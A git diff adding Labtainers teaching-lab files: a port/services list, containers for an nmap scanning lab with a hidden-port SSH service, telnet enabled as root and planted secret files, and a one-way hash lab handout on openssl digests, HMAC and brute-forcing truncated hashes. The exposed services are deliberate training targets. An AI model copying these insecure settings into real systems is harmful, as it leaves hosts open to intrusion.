+afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..e4b029e9f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = RANDOM_PORT + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/sbin/faux_init new file mode 100755 index 000000000..55099f404 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/secretfile.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/secretfile.txt new file mode 100644 index 000000000..199c2b2f0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/pserver/secretfile.txt @@ -0,0 +1,5 @@ +# Filename: secretfile.txt +# +# Description: This is a pre-created file for each student (nmaplab) container + +My string is: This is a secret file on the server. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/router/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/router/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/router/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/router/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/router/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/router/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_bin/fixlocal.sh new file mode 100644 index 000000000..8991a2a45 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_bin/fixlocal.sh @@ -0,0 +1,2 @@ +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/init.d/httpserver.sh new file mode 100755 index 000000000..e2a134b67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/rc.local new file mode 100755 index 000000000..48f88f6be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/rc.local @@ -0,0 +1,17 @@ +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# route to server +route add -net 172.24.0.0/24 gw 172.25.0.3 + +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..24893d258 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = yes +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/sbin/faux_init new file mode 100755 index 000000000..c4826511b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/_system/sbin/faux_init @@ -0,0 +1,21 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +service xinetd restart +/etc/init.d/httpserver.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/filetoview.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/filetoview.txt new file mode 100644 index 000000000..afde2b5fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/filetoview.txt @@ -0,0 +1 @@ +This is the telnet server. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-ssh/tserver/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/about.txt new file mode 100644 index 000000000..7ed2a88d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/about.txt @@ -0,0 +1 @@ +Introduction to generating cryptographic hashes using the openssl utility. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/parameter.config new file mode 100644 index 000000000..a839600b0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for one-way hash function lab +DIGESTFILE : HASH_REPLACE : /home/ubuntu/filetodigest.txt : MY_DIGEST : mydigeststring + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/start.config new file mode 100644 index 000000000..c8ea7aab3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/config/start.config @@ -0,0 +1,18 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER onewayhash + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED onewayhash_jean_seed + +# Container nickname and settings +CONTAINER onewayhash + USER ubuntu + #XTERM INSTRUCTIONS diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/dockerfiles/Dockerfile.onewayhash.onewayhash.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/dockerfiles/Dockerfile.onewayhash.onewayhash.student new file mode 100644 index 000000000..da619998f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/dockerfiles/Dockerfile.onewayhash.onewayhash.student @@ -0,0 +1,27 @@ +# onewayhash +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name +ARG password +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + openssl \ + openssh-client +RUN apt-get install -y \ + hexedit +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +#ENTRYPOINT sudo /sbin/faux_init && bash +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/Crypto_Hash.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/Crypto_Hash.tex new file mode 100644 index 000000000..e4fe283f4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/Crypto_Hash.tex @@ -0,0 +1,165 @@ +%\newpage +%\setcounter{page}{1} +%\setcounter{section}{0} + +\input{header} + + +\begin{document} + + + +\begin{center} +{\LARGE Crypto Lab -- One-Way Hash Function and MAC} +\end{center} + +\copyrightnotice + +\newcounter{task} +\setcounter{task}{1} +\newcommand{\tasks} {\bf {\noindent (\arabic{task})} \addtocounter{task}{1} \,} + +\section{Overview} + +The learning objective of this lab is for students to get familiar with +one-way hash functions and Message Authentication Code (MAC). After +finishing the lab, in addition to gaining a deeper undertanding +of the concepts, students should be able to +use tools and +write programs to generate one-way hash value and MAC for +a given message. + + +\section{Lab Environment} +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: +\begin{verbatim} + labtainer onewayhash +\end{verbatim} +The resulting virtual terminals will include a display of +a bash shell. The openssl package +and other software described below are pre-installed +on the system. + + +\section{Lab Tasks} + +\subsection{Task 1: Generating Message Digest and MAC} + +In this task, we will play with various one-way hash algorithms. +You can use the following {\tt openssl dgst} +command to generate the hash value for a file. To see the manpages, you can +type {\tt man openssl} and {\tt man dgst}. + +\begin{Verbatim}[frame=single] + % openssl dgst dgsttype filename +\end{Verbatim} + +Please replace the {\tt dgsttype} with a specific one-way hash algorithm, +such as {\tt -md5}, {\tt -sha1}, {\tt -sha256}, etc. +And replace {\tt filename} with {\tt filetodigest.txt}, which is in your home directory. +In this task, you should try at least 3 different algorithms, +and describe your observations. +You can find the supported one-way hash algorithms +by typing {\tt "openssl dgst -h"} NOTE: the list of algorithms included in the manpages is not correct. + + +\subsection{Task 2: Keyed Hash and HMAC} + +In this task, we would like to generate a keyed hash (i.e. MAC) +for a file. We can use the {\tt -hmac} option (this option +is currently undocumented, +but it is supported by {\tt openssl}). The following example +generates a keyed hash for a file using the HMAC-MD5 +algorithm. The string following the {\tt -hmac} option +is the key. +\begin{Verbatim}[frame=single] + % openssl dgst -md5 -hmac "abcdefg" filename +\end{Verbatim} + +Please generate a keyed hash using HMAC-MD5, HMAC-SHA256, and +HMAC-SHA1 for any file that you choose. Please try several +keys with different length. Do we have to use a key +with a fixed size in HMAC? If so, what is the key size? If +not, why? + + +\subsection{Task 3: The Randomness of One-way Hash} + + +To understand the properties of one-way hash functions, we would like to +do the following exercise for MD5 and SHA256: + +\begin{enumerate} +\item Create a text file named "edit-this-file.txt" of any length. +\item Generate the hash value $H_1$ for this file using a specific hash algorithm. +\item Flip one bit of the input file. + You can achieve this modification using {\tt hexedit}. +\item Generate the hash value $H_2$ for the modified file. +\item Please observe whether $H_1$ and $H_2$ are similar or not. Please describe + your observations in the lab report. You can write a short program to count + how many bits are the same between $H_1$ and $H_2$. + +\end{enumerate} + + +\subsection{Task 4: One-Way Property versus Collision-Free Property} + + +In this task, we will investigate the difference between +hash function's two perperties: one-way property versus collision-free property. +We will use the brute-force method to see how long it takes to break +each of these properties. Instead of using {\tt openssl}'s command-line tools, +you are required to write our own C programs to invoke the +message digest functions in {\tt openssl}'s crypto library. +A sample code can be found from +\url{http://www.openssl.org/docs/crypto/EVP_DigestInit.html}. Please +get familiar with this sample code. + +Since most of the hash functions are quite strong against the brute-force +attack on those two properties, it will take us years to break them +using the brute-force method. To make the task feasible, we reduce +the length of the hash value to 24 bits. We can use any one-way +hash function, but we only use the first 24 bits of the hash value +in this task. Namely, we are using a modified one-way hash function. +Please design an experiment to find out the following: + +\begin{enumerate} +\item How many trials it will take you to break the one-way +property using the brute-force method? You should repeat your +experiment for multiple times, and report your average number +of trials. +\item How many trials it will take you to break the collision-free +property using the brute-force method? Similarly, you should +report the average. +\item Based on your observation, which property is easier to +break using the brute-force method? +\item (10 Bonus Points) Can you explain the difference in your +observation mathematically? +\end{enumerate} + + + +\section{Submission} +When the lab is completed, or you'd like to stop working for a while, run +\begin{verbatim} + stoplab onewayhash +\end{verbatim} + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor. + +You need to submit a detailed lab report to describe what you have +done and what you have observed; you also need to provide explanation +to the observations that are interesting or surprising. In your report, +you need to answer all the questions listed in this lab. + + + + +\end{document} + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/Makefile new file mode 100644 index 000000000..e12e2a114 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/Makefile @@ -0,0 +1,8 @@ +onewayhash.pdf: Crypto_Hash.tex header.tex + latex Crypto_Hash + pdflatex -jobname=onewayhash Crypto_Hash + pdflatex -jobname=onewayhash Crypto_Hash + +clean: + rm -fr auto + rm -f Crypto_Hash.aux Crypto_Hash.log Crypto_Hash.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/header.tex new file mode 100644 index 000000000..7f54b5b32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/onewayhash/docs/header.tex @@ -0,0 +1,225 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} 